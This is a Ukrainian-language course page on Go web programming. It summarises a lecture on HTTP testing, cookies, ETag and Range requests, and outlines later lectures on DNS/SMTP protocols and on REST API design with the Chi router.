  • Модульне тестування: net/http/httptest, створення фіктивних запитів та відповідей.
  • Cookies у Go: встановлення через http.SetCookie, читання через r.Cookie, видалення (MaxAge=-1).
  • ETag реалізація: генерація хешу, перевірка If-None-Match, повернення 304.
  • Range Requests: ручна реалізація або автоматична через http.ServeFile.
Наступний крок: У наступній лекції ми перейдемо до вивчення маршрутизатора Chi та принципів проєктування REST API, де опануємо патерни параметрів шляху, суб-роутери, Middleware та формування стандартизованих відповідей згідно з RFC 7807 Problem Details.

Прикладні мережеві протоколи DNS та SMTP

Детальний розгляд фундаментальних протоколів прикладного рівня: DNS як основа інфраструктури імен в інтернеті (ієрархія доменів, формат DNS-повідомлень, типи записів A/AAAA/CNAME/MX/TXT/SRV, проблема CNAME на Zone Apex, механізми CNAME Flattening та RFC 9460 HTTPS/SVCB для роботи без www, резолвінг у Go через net.Resolver) та SMTP як стандарт електронної пошти (архітектура поштових систем, команди та коди відповідей, формат MIME, багатокомпонентні листи Multipart, вкладення файлів Base64, захист пошти STARTTLS/SPF/DKIM/DMARC, надсилання через пакет net/smtp).

Проєктування REST API та маршрутизація засобами Chi

Еволюція від RPC до HTTP API, архітектурний стиль REST, мотивація та обмеження, складові HTTP-запитів (URL, заголовки, методи, статус-коди), проєктування номенклатури URL, CRUD-операції, маршрутизатор go-chi/chi з підтримкою Radix Tree, параметри шляху, суб-роутери, Middleware та побудова REST API у Go з дотриманням принципів Clean Architecture.

Copyright © 2026